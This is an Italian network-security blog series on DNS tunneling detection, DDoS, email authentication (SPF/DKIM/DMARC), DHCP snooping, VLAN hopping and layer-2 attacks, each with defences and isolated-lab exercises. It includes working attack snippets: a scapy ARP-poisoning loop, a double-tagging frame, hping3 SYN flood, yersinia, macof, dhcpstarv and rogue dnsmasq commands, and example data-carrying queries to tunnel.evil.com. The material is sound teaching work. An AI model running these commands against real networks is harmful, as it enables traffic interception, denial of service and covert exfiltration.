Attacks on My personal blog

DNS tunneling: esfiltrare dati dentro le query, e come accorgersene

Sat, 19 Sep 2026 09:00:00 +0200

Perché conta

Nel capitolo sulla sicurezza DNS abbiamo visto come proteggere l’integrità e la riservatezza delle query. Ma il DNS ha un’altra proprietà sfruttabile: passa quasi sempre. Anche nelle reti dove ogni altra porta è filtrata, la 53 resta aperta perché senza risoluzione dei nomi nulla funziona. Gli attaccanti ne fanno un canale nascosto: codificano dati dentro i nomi di dominio delle query e li fanno uscire sotto forma di traffico DNS apparentemente normale. È uno dei modi più comuni per il comando-e-controllo (C2) e per l’esfiltrazione di dati da una rete altrimenti chiusa.

Come si nascondono i dati in una query

L’idea è semplice: un nome DNS può contenere testo arbitrario nei suoi sottodomini. L’attaccante controlla il name server autoritativo di un dominio, per esempio tunnel.evil.com, e il malware sulla macchina compromessa invia i dati come sottodomini:

1
2

ZGF0YS1ydWJhdG8.tunnel.evil.com      <- dati codificati in base32/64
c2Vzc2lvbi1pZC00Mg.tunnel.evil.com

  flowchart LR
    M["Host compromesso<br/>(malware)"] -->|query:<br/>DATI.tunnel.evil.com| R[Resolver interno]
    R -->|risoluzione ricorsiva| NS["Name server autoritativo<br/>(attaccante)"]
    NS -->|risposta: dati nel record TXT| R
    R --> M
    style NS fill:#fde2e4,stroke:#e63946

La query risale la catena DNS fino al name server dell’attaccante, che decodifica i dati dal nome e risponde — spesso in un record TXT — rimandando indietro comandi. Si crea un canale bidirezionale completo, costruito interamente con DNS legittimo. Nessuna connessione diretta, nessuna porta sospetta: solo query.

I segnali che lo tradiscono

Il tunneling è efficace perché mimetizza, ma lascia tracce statistiche. Il DNS normale ha un profilo preciso; il tunnel lo rompe:

Volume: un host che genera migliaia di query verso lo stesso dominio è anomalo. Il DNS di un utente reale è sporadico e vario.
Lunghezza dei nomi: i sottodomini del tunnel sono lunghi (devono trasportare dati); i nomi reali sono corti.
Entropia: i dati codificati sembrano casuali, mentre i nomi legittimi sono pronunciabili.
Tipo di record: un uso massiccio di TXT o NULL verso un singolo dominio è sospetto.

L’entropia è il segnale più robusto. Per un nome con frequenze dei caratteri $p_i$, l’entropia di Shannon è:

$$ H = -\sum_{i} p_i \log_2 p_i $$

Un sottodominio come www o mail ha entropia bassa; una stringa base64 casuale si avvicina al massimo teorico ($\approx 6$ bit/carattere per base64). Una soglia sull’entropia media dei sottodomini per dominio separa quasi sempre il traffico reale dal tunnel.

Rilevare: dalla statistica alla regola

In pratica si combinano i segnali in logica di detection, idealmente dentro il SIEM che già raccoglie i log DNS:

regola: possibile DNS tunneling
  QUANDO  un host interroga lo stesso dominio di 2° livello
          piu di 100 volte in 10 minuti
          E entropia media dei sottodomini > 3.5 bit/char
          E lunghezza media dei sottodomini > 40 caratteri
  ALLORA  allarme, tecnica ATT&CK T1071.004

Nessun singolo criterio basta — esistono servizi legittimi (antivirus, CDN) che generano molte query. È la combinazione di volume, lunghezza ed entropia verso un unico dominio a distinguere il tunnel.

Difese dirette

Oltre al rilevamento, alcune misure riducono la superficie:

Forzare un resolver interno: bloccare la porta 53 in uscita verso internet e obbligare tutti i client a usare il resolver aziendale (che logga e ispeziona). Senza questo, il tunneling via DoH diventa ancora più difficile da vedere, perché il traffico è cifrato in HTTPS.
RPZ (Response Policy Zone): bloccare la risoluzione verso domini noti per tunneling o appena registrati.
Threat intelligence: liste di domini C2 noti, integrate nel resolver.

Lab

In un ambiente di test isolato (mai verso internet reale):

Avviate uno strumento di tunneling DNS da laboratorio (es. iodine o dnscat2) tra due nodi containerlab, con un dominio di test e un name server controllato.
Catturate il traffico DNS con Wireshark e osservate i sottodomini lunghi e ad alta entropia.
Scrivete uno script che calcoli l’entropia di Shannon dei sottodomini dai log del resolver.
Tarate una soglia che distingua il tunnel dal traffico DNS normale catturato in parallelo.

Domanda: se il DNS tunneling è così lento e rumoroso statisticamente, perché gli attaccanti lo usano ancora?

Per un motivo che batte ogni svantaggio: funziona dove nient'altro funziona. In una rete segmentata e filtrata — pensate a un ambiente industriale o a una DMZ ostile — può darsi che l'unica cosa autorizzata a uscire sia la risoluzione dei nomi, perché bloccarla romperebbe tutto. Lì un canale C2 su HTTP o su una porta custom è semplicemente impossibile, mentre il DNS esce. La lentezza non è un problema per il C2: comandi e piccole quantità di dati rubati (credenziali, chiavi) stanno in pochi kilobyte. È rumoroso solo se qualcuno guarda: in una rete che non ispeziona né correla i log DNS, il tunnel è invisibile proprio perché somiglia a traffico legittimo. È il classico caso in cui il rilevamento conta più della prevenzione: non potete chiudere il DNS, ma potete accorgervi di come viene abusato.

Conclusione

Il DNS tunneling sfrutta l’unica porta che quasi nessuno osa chiudere, trasformando le query in un canale nascosto per C2 ed esfiltrazione. La difesa non può essere bloccare il DNS, ma riconoscerne l’abuso: volume, lunghezza dei nomi ed entropia verso un singolo dominio sono i segnali, e la loro combinazione — meglio se dentro un SIEM che correla — è ciò che distingue il tunnel dal traffico reale. A monte, un resolver interno obbligatorio e le RPZ riducono la superficie. Come spesso nella sicurezza DNS, la chiave è guardare un protocollo che di solito nessuno guarda.

Anatomia di un DDoS

Tue, 15 Sep 2026 09:00:00 +0200

Perché conta

La riservatezza e l’integrità si proteggono con la crittografia. La disponibilità no: non esiste una chiave che impedisca a un milione di richieste di saturare un server. Il DDoS (Distributed Denial of Service) attacca proprio questa terza gamba — la minaccia T4 del threat model — e lo fa con la forza bruta distribuita su migliaia di macchine.

È anche il capitolo dove la verità è scomoda: contro un attacco volumetrico grande, da soli non si può fare quasi nulla. Capire perché è il primo passo per difendersi bene.

Tre famiglie, tre bersagli

  flowchart TD
    DDoS[DDoS] --> V["Volumetrici<br/>saturano la banda"]
    DDoS --> P["Di protocollo<br/>saturano le tabelle di stato"]
    DDoS --> A["Applicativi (L7)<br/>saturano la CPU/il DB del server"]
    V --> V1["UDP/DNS/NTP flood<br/>amplificazione"]
    P --> P1["SYN flood<br/>connessioni mai completate"]
    A --> A1["HTTP flood<br/>richieste 'costose' ripetute"]
    style V fill:#fde2e4,stroke:#e63946
    style P fill:#fde2e4,stroke:#e63946
    style A fill:#fde2e4,stroke:#e63946

Volumetrici: riempiono la banda in ingresso. Si misurano in Gbit/s o Tbit/s. Se il tubo è pieno, nessuna regola locale aiuta: il traffico legittimo non arriva nemmeno.
Di protocollo: non serve banda, serve esaurire una risorsa. Il SYN flood riempie la tabella delle connessioni half-open.
Applicativi: poche richieste, ma costose (una ricerca complessa, un login). Difficili da distinguere dal traffico vero.

Il SYN flood e le SYN cookies

Quando un client apre una connessione TCP, manda un SYN; il server risponde SYN-ACK e riserva memoria per la connessione half-open, in attesa dell’ACK finale. Il SYN flood invia molti SYN, spesso con IP sorgente falsificato, e non completa mai l’handshake. La tabella si riempie, e i client veri non entrano più.

La difesa è elegante: le SYN cookies. Il server non riserva memoria al SYN. Codifica lo stato dentro il numero di sequenza del SYN-ACK (una funzione crittografica dei parametri della connessione). Se l’ACK finale torna, il server lo decodifica e ricostruisce lo stato; se non torna — come nel flood — non ha sprecato nulla.

1
2

# attivare le SYN cookies sul kernel Linux
sysctl -w net.ipv4.tcp_syncookies=1

L’amplificazione: perché un attaccante piccolo fa male

Gli attacchi volumetrici più grandi sfruttano l’amplificazione. L’attaccante invia una piccola query a un server pubblico (DNS, NTP, memcached), ma falsifica l’IP sorgente mettendoci quello della vittima. Il server risponde — alla vittima — con un pacchetto molto più grande.

Il fattore di amplificazione è il rapporto:

$$ F = \frac{\text{dimensione della risposta}}{\text{dimensione della richiesta}} $$

Per una query DNS ANY una risposta può essere decine di volte più grande della domanda; con memcached mal configurato si sono visti fattori oltre $10,000$. Con $F = 50$, un attaccante che dispone di 1 Gbit/s di upload genera 50 Gbit/s verso la vittima. La potenza dell’attaccante viene moltiplicata dai server riflettori.

L’amplificazione dipende da due difetti: server pubblici che rispondono a chiunque, e reti che lasciano uscire pacchetti con IP sorgente falsificato (assenza di BCP 38 / source address validation). Entrambi vanno risolti da altri, non dalla vittima — ed è il motivo per cui il DDoS è un problema collettivo.

Cosa si può mitigare da soli, e cosa no

Attacco	Mitigabile localmente?	Come
SYN flood	Sì, in gran parte	SYN cookies, rate limiting sulla `new`
HTTP flood (L7)	In parte	rate limiting per IP, CAPTCHA, cache
Volumetrico piccolo	In parte	rate limiting, filtri sul router
Volumetrico grande	No	serve un servizio di mitigazione a monte (scrubbing)

Per i volumetrici grandi la realtà è semplice: se la banda in ingresso è satura, il filtro va fatto prima che il traffico arrivi al vostro tubo, cioè da un provider di scrubbing o da una CDN che assorbe l’attacco sulla propria rete. È un servizio, non una configurazione.

Localmente, il rate limiting di nftables (dal capitolo 04) aiuta contro gli attacchi piccoli:

table inet filter {
    chain input {
        tcp dport 443 ct state new limit rate 50/second burst 100 packets accept
        tcp dport 443 ct state new drop     # oltre la soglia: scarta i nuovi SYN
    }
}

La riga evidenziata limita le nuove connessioni a 50/s: le connessioni già stabilite (established) non sono toccate, quindi gli utenti legittimi collegati continuano a lavorare.

Lab

Nel lab containerlab (traffico contenuto, è una dimostrazione del meccanismo, non un vero flood):

Sul nodo server, attivate tcp_syncookies e osservate netstat -s | grep -i syn.
Dal nodo attacker, generate molti SYN con hping3 -S --flood -p 443 <server>.
Confrontate l’uso della tabella di connessione con e senza SYN cookies.
Aggiungete il rate limiting nftables e misurate quante connessioni nuove passano.

Domanda: perché falsificare l'IP sorgente è utile all'attaccante in un flood volumetrico ma non in un HTTP flood?

In un flood volumetrico o SYN l'attaccante non ha bisogno di ricevere risposte: vuole solo inondare. Falsificare l'IP sorgente nasconde l'origine e, nell'amplificazione, dirige le risposte dei riflettori verso la vittima. In un HTTP flood invece serve completare l'handshake TCP e la sessione TLS per inviare richieste HTTP vere: questo richiede un IP sorgente reale che riceve le risposte, quindi lo spoofing non è possibile. È per questo che gli attacchi L7 usano botnet di macchine reali compromesse, non pacchetti falsificati.

Conclusione

Il DDoS attacca la disponibilità, che la crittografia non protegge. Alcune forme si mitigano da soli — SYN cookies, rate limiting — ma i grandi attacchi volumetrici si fermano solo a monte, ed esistono perché altre reti permettono lo spoofing e l’amplificazione. Difendersi bene significa sia proteggere i propri server, sia non essere parte del problema (niente resolver aperti, source address validation).

Abbiamo attraversato tutti gli strati. Nel prossimo capitolo torniamo a un tema concreto: come proteggere il traffico che attraversa reti non fidate, confrontando i due tunnel più usati.

Prossimo nella serie: 09 · IPsec contro WireGuard · Torna alla roadmap

SPF, DKIM e DMARC: autenticare chi invia la posta

Sat, 29 Aug 2026 09:00:00 +0200

Perché conta

Il protocollo SMTP è nato senza alcuna autenticazione del mittente: scrivere From: ceo@azienda.it è facile come scrivere un indirizzo falso sul retro di una busta. È la base del phishing e del business email compromise. Tre record DNS — SPF, DKIM e DMARC — costruiscono, strato su strato, una risposta: questo server può spedire per il dominio?, il messaggio è integro e davvero firmato dal dominio? e infine l’indirizzo che l’utente vede corrisponde?. Poggiano tutti sul DNS, quindi si legano direttamente al capitolo sulla sicurezza DNS.

SPF: quali server possono spedire

SPF è un record TXT nel DNS del dominio che elenca gli indirizzi IP autorizzati a inviare posta per quel dominio. Il server ricevente estrae il dominio dal MAIL FROM (l’envelope, non l’header visibile) e controlla se l’IP che si è connesso è nella lista.

`1`	`azienda.it. IN TXT "v=spf1 ip4:203.0.113.0/24 include:_spf.google.com -all"`

ip4:... e include:... elencano gli emittenti legittimi.
-all (hard fail) dice: qualunque altro IP non è autorizzato, rifiuta.

Il limite di SPF: autentica l’envelope, non l’indirizzo From: che l’utente legge. E si rompe con l’inoltro, perché il server che inoltra non è nella lista del dominio originale.

DKIM: firmare il messaggio

DKIM aggiunge una firma crittografica all’email. Il server mittente firma header e corpo con una chiave privata; la chiave pubblica sta nel DNS. Il ricevente la recupera e verifica la firma.

  flowchart LR
    M["Mittente<br/>(chiave privata)"] -->|firma header+corpo| E[Email + header DKIM-Signature]
    E --> R[Ricevente]
    R -->|recupera chiave pubblica| DNS[(record DNS _domainkey)]
    DNS --> V{Firma valida?}
    V -->|sì| OK[Integro e dal dominio]
    V -->|no| X[Alterato o falso]
    style X fill:#fde2e4,stroke:#e63946

Una firma valida prova due cose: il messaggio non è stato alterato in transito, ed è stato firmato da chi controlla la chiave del dominio. A differenza di SPF, DKIM sopravvive all’inoltro, perché la firma viaggia con il messaggio.

DMARC: allineare e decidere

SPF e DKIM, da soli, autenticano domini che l’utente non vede (l’envelope, il dominio della firma). DMARC aggiunge il pezzo mancante: l’allineamento con il dominio dell’header From:, quello visibile. Un’email passa DMARC se supera SPF o DKIM e il dominio corrispondente è allineato a quello del From:.

`1`	`_dmarc.azienda.it. IN TXT "v=DMARC1; p=reject; rua=mailto:dmarc@azienda.it; pct=100"`

La p= è la decisione sui messaggi che falliscono:

Policy	Effetto
`p=none`	non fare nulla, solo monitorare (fase di avvio)
`p=quarantine`	metti in spam
`p=reject`	rifiuta del tutto

Il campo rua= chiede ai riceventi di inviare report aggregati: chi sta spedendo a nome vostro, e con quale esito. Sono la bussola per passare da none a reject senza bloccare la posta legittima.

Il percorso di adozione

L’errore classico è partire da p=reject e scoprire di aver bloccato la newsletter aziendale o il gestionale che spedisce fatture. Il percorso corretto:

Pubblicate SPF e DKIM per tutti gli emittenti legittimi (inclusi i servizi terzi).
Pubblicate DMARC con p=none e raccogliete i report rua per settimane.
Dai report, trovate e sistemate gli emittenti legittimi non allineati.
Passate a p=quarantine, poi a p=reject solo quando i report sono puliti.

Lab

Con un dominio di test (o un ambiente mail da laboratorio come Mailu/mailcow):

Pubblicate un record SPF e verificatelo con dig TXT azienda.it.
Generate una coppia di chiavi DKIM, pubblicate la pubblica nel DNS e firmate un messaggio.
Inviate verso un servizio di test (es. un account controllato) e leggete gli header Authentication-Results: devono mostrare spf=pass e dkim=pass.
Aggiungete DMARC p=none con rua e osservate i primi report aggregati.

Domanda: se ho già SPF e DKIM che passano, DMARC cosa aggiunge davvero?

Aggiunge il controllo che manca a entrambi: l'allineamento con l'indirizzo che l'utente vede. SPF autentica il dominio dell'envelope (MAIL FROM), DKIM il dominio della firma: nessuno dei due guarda l'header From: mostrato nel client. Un attaccante può registrare un proprio dominio, configurarci SPF e DKIM perfetti, e poi scrivere nel From: visibile ceo@azienda.it. SPF e DKIM passano — ma sul suo dominio, non su azienda.it. DMARC è ciò che esige che il dominio autenticato coincida con quello visibile, e dà al dominio legittimo il potere di dire "rifiuta tutto ciò che si spaccia per me ma non lo prova". Senza DMARC, SPF e DKIM proteggono un nome che l'utente non legge mai.

Conclusione

Tre record, tre domande in sequenza: SPF chiede se il server è autorizzato, DKIM se il messaggio è integro e firmato dal dominio, DMARC se tutto questo è allineato all’indirizzo che l’utente vede — e cosa fare quando non lo è. Insieme trasformano un From: falsificabile in un’identità verificabile, e sono la difesa di base contro lo spoofing e il phishing. Come per DNSSEC, la forza sta nell’adozione graduale guidata dai dati: p=none, i report, poi reject.

DHCP snooping e Dynamic ARP Inspection: fidarsi solo delle porte giuste

Sat, 22 Aug 2026 09:00:00 +0200

Perché conta

Nel capitolo sugli attacchi L2 abbiamo visto che ARP non autentica nulla: chiunque sulla LAN può dire “l’IP del gateway sono io” e dirottare il traffico. Il DHCP ha lo stesso difetto: un client crede al primo server che risponde, e un server DHCP rogue può distribuire un gateway o un DNS malevolo a tutta la rete. Due attacchi, una radice comune: lo switch si fida di qualunque porta. DHCP snooping e Dynamic ARP Inspection (DAI) chiudono entrambi partendo dalla stessa idea — distinguere le porte fidate da quelle no.

Il server DHCP rogue

In una LAN normale il client manda un DHCPDISCOVER in broadcast e accetta la prima offerta. Se un attaccante collega un proprio server DHCP, può rispondere più in fretta di quello legittimo e imporre i propri parametri:

  flowchart TD
    C[Client] -->|DHCPDISCOVER broadcast| SW[Switch]
    SW --> L[Server DHCP legittimo]
    SW --> R["Server DHCP rogue<br/>(attaccante)"]
    R -->|offerta più veloce:<br/>gateway = attaccante| C
    C -.tutto il traffico passa dall'attaccante.-> R
    style R fill:#fde2e4,stroke:#e63946

Il client finisce con un default gateway che è l’attaccante: un man-in-the-middle completo, senza aver toccato una sola tabella ARP.

DHCP snooping: porte fidate e non fidate

DHCP snooping divide le porte dello switch in due classi:

Trusted: le porte dove ci si aspetta un server DHCP (il link verso il server legittimo o l’uplink). Le risposte DHCP (OFFER, ACK) sono accettate solo da qui.
Untrusted: tutte le porte verso i client. Da queste, una risposta DHCP viene scartata: un client non offre indirizzi.

! abilita DHCP snooping sulla VLAN 10
ip dhcp snooping
ip dhcp snooping vlan 10
interface Gi0/1
  ip dhcp snooping trust          ! uplink verso il server DHCP legittimo
! tutte le altre porte restano untrusted per default

La riga ip dhcp snooping trust sull’uplink è il fulcro: ovunque altrove, una risposta DHCP è per definizione sospetta e viene bloccata. Il server rogue, collegato a una porta client (untrusted), non riesce più a rispondere.

La binding table: il sottoprodotto prezioso

Mentre ispeziona il traffico DHCP, lo switch registra ogni assegnazione legittima in una binding table: quale MAC, su quale porta, ha ottenuto quale IP, in quale VLAN.

MAC	IP	VLAN	Porta	Lease
aa:bb:cc:00:11:22	10.0.10.5	10	Gi0/5	86400
aa:bb:cc:00:33:44	10.0.10.6	10	Gi0/6	86400

Questa tabella è la verità su chi è chi sulla rete. È ciò che rende possibile il passo successivo.

Dynamic ARP Inspection: usare il binding contro l’ARP spoofing

DAI intercetta ogni pacchetto ARP su una porta untrusted e lo confronta con la binding table. Se qualcuno sulla porta Gi0/6 (dove la tabella dice esserci 10.0.10.6) manda un ARP che dichiara “io sono 10.0.10.1” (il gateway), il binding non corrisponde: il pacchetto viene scartato.

! DAI usa la binding table di DHCP snooping sulla VLAN 10
ip arp inspection vlan 10
interface Gi0/1
  ip arp inspection trust         ! uplink fidato, non ispezionato

  flowchart LR
    A["ARP in arrivo<br/>porta untrusted"] --> C{IP+MAC+porta<br/>nella binding table?}
    C -->|sì| P[Inoltra]
    C -->|no| D[Scarta + log]
    style D fill:#fde2e4,stroke:#e63946

Ecco perché i due meccanismi vanno insieme: DAI non ha una propria fonte di verità, usa la binding table che DHCP snooping ha costruito. Senza snooping, DAI non sa cosa sia legittimo.

Gli indirizzi statici: IP Source Guard e le entry manuali

Non tutti gli host usano DHCP: server e stampanti hanno spesso IP statici, assenti dalla binding table. Per loro servono entry statiche nella tabella, altrimenti DAI li bloccherebbe. Lo stesso binding abilita anche IP Source Guard, che filtra i pacchetti il cui IP sorgente non combacia con la porta — fermando lo spoofing di IP oltre a quello di ARP.

Lab

Con tre nodi containerlab (o GNS3) collegati a uno switch che supporti queste funzioni (o Open vSwitch con regole equivalenti):

Avviate un server DHCP legittimo su una porta e un secondo server “rogue” su un’altra.
Senza snooping: osservate il client accettare l’offerta rogue.
Abilitate DHCP snooping con la sola porta del server legittimo come trust: il rogue viene zittito.
Abilitate DAI e, da un client, lanciate un ARP spoofing (come nel capitolo 02): i pacchetti devono essere scartati e loggati.

Domanda: se ho già la port security e 802.1X, DHCP snooping e DAI non sono ridondanti?

No, agiscono su piani diversi. La port security limita quanti MAC usano una porta; 802.1X decide chi può collegarsi alla porta. Ma una volta che un dispositivo è legittimamente connesso e autenticato, nulla gli impedisce di mentire a livello 3: offrire DHCP o falsificare ARP. DHCP snooping e DAI controllano proprio il contenuto di quel traffico, non l'accesso alla porta. Un dipendente autenticato con un laptop infetto supera 802.1X e port security, ma i suoi pacchetti ARP falsi cadono contro DAI. Sono strati complementari: accesso, identità e integrità del traffico.

Conclusione

DHCP snooping e DAI affrontano insieme due attacchi che condividono la stessa radice: la fiducia cieca dello switch. Snooping distingue le porte che possono offrire DHCP e, così facendo, costruisce una tabella di binding affidabile; DAI riusa quella tabella per bocciare ogni ARP che non torna. Il risultato è che le due tecniche viste nel capitolo 02 — rogue DHCP e ARP spoofing — vengono fermate alla porta, prima che diventino un man-in-the-middle.

VLAN hopping e hardening degli switch

Tue, 11 Aug 2026 09:00:00 +0200

Perché conta

La segmentazione in VLAN è la risposta alla minaccia T1 del threat model: la rete ospiti e la LAN uffici sulla stessa infrastruttura fisica, ma su VLAN diverse, senza rotte tra loro. Funziona finché un attaccante non riesce a uscire dalla propria VLAN. Il VLAN hopping fa esattamente questo, e nei due casi classici non sfrutta un bug: sfrutta configurazioni lasciate ai valori di default.

Ripasso: tag, access e trunk

Un frame che viaggia in una VLAN porta un tag 802.1Q: 12 bit che dicono a quale VLAN appartiene. Le porte dello switch sono di due tipi:

access: appartiene a una sola VLAN; i frame entrano ed escono senza tag.
trunk: porta più VLAN tra switch; i frame viaggiano con il tag, tranne quelli della VLAN nativa, che per compatibilità storica vanno senza tag.

Quest’ultima eccezione — la VLAN nativa non taggata — è la porta d’ingresso di entrambi gli attacchi.

Attacco 1: switch spoofing (DTP)

Sugli switch Cisco il Dynamic Trunking Protocol (DTP) negozia automaticamente se una porta diventa trunk. Di default molte porte sono in dynamic auto o dynamic desirable: se l’altro lato chiede un trunk, lo switch glielo concede.

L’attaccante finge di essere uno switch e chiede un trunk. Se la porta accetta, da quel momento l’attaccante riceve il traffico di tutte le VLAN che passano sul trunk.

1
2

# yersinia fa la negoziazione DTP fingendosi uno switch
yersinia dtp -attack 1 -interface eth1

Nota sul lab: DTP è un protocollo proprietario Cisco. Open vSwitch non lo parla, quindi questo attacco si riproduce solo in GNS3 con un’immagine Cisco IOSvL2 (o IOU). Le immagini Cisco non sono redistribuibili: per il resto della serie restiamo su containerlab.

Attacco 2: double tagging

Questo funziona anche senza DTP, su qualunque switch 802.1Q, ed è il motivo per cui la VLAN nativa non va mai usata per host reali. L’attaccante, su una porta access della VLAN nativa (VLAN 1), costruisce un frame con due tag: uno esterno (VLAN 1, quella nativa) e uno interno (la VLAN bersaglio, es. VLAN 20).

  flowchart LR
    A["attacker<br/>VLAN nativa 1"] -->|frame con 2 tag:<br/>outer=1, inner=20| S1[Switch 1]
    S1 -->|toglie il tag nativo 1,<br/>resta inner=20| S2[Switch 2 / trunk]
    S2 -->|consegna in VLAN 20| V["victim<br/>VLAN 20"]
    style A fill:#fde2e4,stroke:#e63946

Il primo switch toglie il tag esterno — è la VLAN nativa, va rimossa — e inoltra il frame sul trunk. A quel punto resta solo il tag interno, VLAN 20: il secondo switch lo consegna nella VLAN bersaglio. Il frame ha saltato la VLAN. È monodirezionale (la risposta non torna indietro allo stesso modo), ma basta per iniettare pacchetti, ad esempio un DHCP rogue in un’altra VLAN.

Nel lab con Open vSwitch si riproduce configurando le porte e inviando un frame a doppio tag:

1
2
3

# porta attaccante: access sulla VLAN nativa 1; porta vittima: trunk con VLAN 20
ovs-vsctl set port p-attacker tag=1
ovs-vsctl set port p-victim   trunks=1,20

from scapy.all import Ether, Dot1Q, IP, ICMP, sendp
# doppio tag: outer VLAN 1 (nativa), inner VLAN 20 (bersaglio)
frame = (Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst="10.0.20.10")/ICMP())
sendp(frame, iface="eth1")

La difesa: hardening dello switch

Quattro regole chiudono entrambi gli attacchi. Le prime due riguardano il double tagging, le ultime due lo switch spoofing.

! 1. spegni esplicitamente DTP su tutte le porte di accesso
switchport mode access
switchport nonegotiate
! 2. la VLAN nativa del trunk deve essere una VLAN "morta", non usata da nessun host
switchport trunk native vlan 999
! 3. consenti sul trunk solo le VLAN che servono davvero
switchport trunk allowed vlan 10,20,30
! 4. metti in shutdown le porte inutilizzate e assegnale a una VLAN inesistente

Le due righe evidenziate sono le decisive:

switchport nonegotiate spegne DTP: la porta non negozia più nulla, lo switch spoofing fallisce.
switchport trunk native vlan 999 sposta la VLAN nativa su una VLAN che non contiene host. Il double tagging ha bisogno che l’attaccante sia sulla VLAN nativa: se la nativa è una VLAN morta, nessun attaccante ci si trova, e l’attacco non parte.

La regola generale: la VLAN nativa non deve mai coincidere con una VLAN di dati, e DTP va sempre spento a mano.

Lab

Con Open vSwitch, configurate p-attacker come access VLAN 1 e p-victim come trunk con VLAN 20.
Da victim, catturate il traffico sulla VLAN 20 (tcpdump -i eth1.20).
Da attacker, inviate il frame a doppio tag con lo script scapy.
Verificate che l’ICMP arrivi sulla VLAN 20, pur partendo dalla VLAN 1.
Cambiate la VLAN nativa del trunk (ovs-vsctl set port p-victim ... tag) e ripetete.

Domanda: perché il double tagging è monodirezionale?

Il trucco funziona solo all'andata, perché sfrutta il fatto che il primo switch rimuove il tag della VLAN nativa. La vittima, rispondendo, invia un frame normale a singolo tag nella VLAN 20: quando arriva allo switch non c'è nessun tag nativo da togliere che la rimandi magicamente nella VLAN 1 dell'attaccante. Per questo il double tagging si usa per iniettare (un DHCP rogue, un pacchetto malevolo), non per instaurare una sessione bidirezionale.

Conclusione

Il VLAN hopping non buca la cifratura né sfrutta un difetto del protocollo: sfrutta due default. DTP che negozia da solo e la VLAN nativa condivisa con gli host. Spegnere DTP e isolare la VLAN nativa sono due righe di configurazione che molti dimenticano.

Finora abbiamo lavorato sotto il livello 3. Dal prossimo capitolo saliamo: un firewall stateful che decide quale traffico IP può attraversare i confini di fiducia disegnati nel threat model.

Prossimo nella serie: 04 · Firewall stateful con nftables · Torna alla roadmap

Attacchi a livello 2: ARP spoofing, MAC flooding e DHCP starvation

Tue, 04 Aug 2026 09:00:00 +0200

Perché conta

Nel capitolo precedente la minaccia con rischio più alto dopo la rete ospiti era la T2: un dispositivo già dentro la LAN che si mette in mezzo al traffico. Qui la rendiamo concreta.

Lo strato 2 è quello che quasi nessuno guarda. Un firewall perimetrale non vede cosa succede dentro la LAN, e i protocolli di livello 2 — ARP, DHCP — sono nati negli anni ‘80 senza nessuna autenticazione. Chi riesce a collegarsi a una porta dello switch può, con pochi pacchetti, diventare l’uomo nel mezzo tra due macchine che si credono sole.

Tutti gli esempi girano nel lab containerlab descritto nella roadmap: tre nodi (attacker, victim, gateway) attaccati a uno switch Open vSwitch. Non provate nulla di questo su una rete che non è vostra.

ARP spoofing: avvelenare la cache

Come funziona

Quando victim (10.0.0.10) vuole parlare con gateway (10.0.0.1), non conosce il suo indirizzo MAC. Manda in broadcast una richiesta ARP: “chi ha 10.0.0.1?”. Il gateway risponde con il suo MAC, e la vittima lo mette in cache. Il problema: ARP accetta anche risposte che nessuno ha chiesto, e non verifica chi le manda.

L’attaccante sfrutta proprio questo. Invia alla vittima una risposta ARP falsa — “10.0.0.1 sono io” — e al gateway un’altra — “10.0.0.10 sono io”. Da quel momento tutto il traffico tra i due passa dall’attaccante.

  sequenceDiagram
    participant V as victim 10.0.0.10
    participant A as attacker 10.0.0.66
    participant G as gateway 10.0.0.1
    Note over A: invia ARP reply falsi, ripetuti
    A->>V: 10.0.0.1 is-at MAC_attacker
    A->>G: 10.0.0.10 is-at MAC_attacker
    V->>A: traffico per il gateway (crede sia G)
    A->>G: lo inoltra (resta in mezzo)
    G->>A: risposte per la vittima
    A->>V: le inoltra
    Note over A: legge e può modificare tutto

L’attacco

Con scapy bastano poche righe. Lo script manda una coppia di reply falsi ogni due secondi, perché le cache ARP scadono e vanno “rinfrescate”:

from scapy.all import ARP, send

victim, gateway = "10.0.0.10", "10.0.0.1"

def poison():
    # op=2 è una ARP reply; psrc è l'IP che fingiamo di essere
    send(ARP(op=2, pdst=victim,  psrc=gateway), verbose=False)
    send(ARP(op=2, pdst=gateway, psrc=victim),  verbose=False)

while True:
    poison()
    __import__("time").sleep(2)

Perché l’attaccante possa restare in mezzo e non interrompere la connessione, deve inoltrare i pacchetti che riceve:

1
2

# sul nodo attacker: inoltra i pacchetti invece di scartarli
sysctl -w net.ipv4.ip_forward=1

Da victim, prima e dopo l’attacco, la cache ARP mostra il cambio:

1
2
3

victim:~$ ip neigh show 10.0.0.1
10.0.0.1 dev eth1 lladdr 00:aa:...:gw REACHABLE      # prima: MAC del gateway
10.0.0.1 dev eth1 lladdr 00:bb:...:att REACHABLE     # dopo: MAC dell'attaccante

MAC flooding: trasformare lo switch in un hub

Uno switch impara quale MAC sta dietro quale porta e salva la coppia nella CAM table. Quando la tabella è piena, molti switch entrano in fail-open: inoltrano i frame sconosciuti a tutte le porte, come un vecchio hub. L’attaccante può allora sniffare traffico che non gli è destinato.

1
2

# macof (dal pacchetto dsniff) riempie la CAM table con MAC casuali
macof -i eth1

Nota sul lab: il vero fail-open della CAM table è un comportamento degli switch hardware. Né i bridge Linux né Open vSwitch lo riproducono fedelmente (gestiscono l’esaurimento in altro modo). Per vederlo sul serio serve uno switch Cisco in GNS3 — lo usiamo nel capitolo 03 per DTP.

DHCP starvation e rogue DHCP

L’attacco ha due tempi. Prima starvation: l’attaccante chiede al server DHCP legittimo tutti gli indirizzi disponibili, con tanti MAC diversi, finché il pool è esaurito. Poi rogue DHCP: accende un proprio server DHCP, che ora è l’unico a rispondere. Assegna alle vittime un gateway e un DNS che controlla lui.

# fase 1: esaurisce il pool del server legittimo
dhcpstarv -i eth1          # oppure: yersinia dhcp -attack 1

# fase 2: il server fasullo distribuisce sé stesso come gateway e DNS
# (dnsmasq minimale sul nodo attacker)
dnsmasq --interface=eth1 --dhcp-range=10.0.0.100,10.0.0.200,1h \
        --dhcp-option=3,10.0.0.66 --dhcp-option=6,10.0.0.66

Il risultato è lo stesso dell’ARP spoofing — l’attaccante diventa il gateway — ma qui le vittime glielo chiedono spontaneamente.

La difesa

Tutte e tre le difese stanno sullo switch, non sugli host. Su uno switch gestito si attivano con tre funzioni che lavorano insieme.

! port security: limita quanti MAC può imparare una porta -> blocca il MAC flooding
switchport port-security maximum 2
switchport port-security violation restrict
! DHCP snooping: solo le porte "trust" possono ospitare un server DHCP -> blocca il rogue DHCP
ip dhcp snooping
ip dhcp snooping vlan 10
! Dynamic ARP Inspection: verifica le reply ARP contro la tabella di DHCP snooping -> blocca l'ARP spoofing
ip arp inspection vlan 10

